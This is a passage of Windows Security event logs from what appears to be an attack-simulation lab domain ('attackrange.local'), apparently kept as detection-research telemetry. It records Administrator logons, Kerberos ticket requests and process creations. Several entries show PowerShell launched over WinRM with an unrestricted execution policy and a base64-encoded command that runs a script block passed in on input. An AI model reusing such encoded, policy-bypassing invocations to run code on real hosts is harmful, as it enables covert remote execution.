privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252594 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1164 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x284 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252593 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16AA9F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252592 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16AA9F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {57681CD2-1F89-9D48-0B76-A53019935F69} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252591 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {57681CD2-1F89-9D48-0B76-A53019935F69} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252590 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {57681CD2-1F89-9D48-0B76-A53019935F69} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252589 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252588 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x284 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10a0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252587 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x134c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252586 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16A84E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252585 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16A84E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {57681CD2-1F89-9D48-0B76-A53019935F69} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252584 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {57681CD2-1F89-9D48-0B76-A53019935F69} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252583 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {57681CD2-1F89-9D48-0B76-A53019935F69} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252582 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252581 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16A816 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252580 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16A816 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252579 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16A816 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {57681CD2-1F89-9D48-0B76-A53019935F69} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was 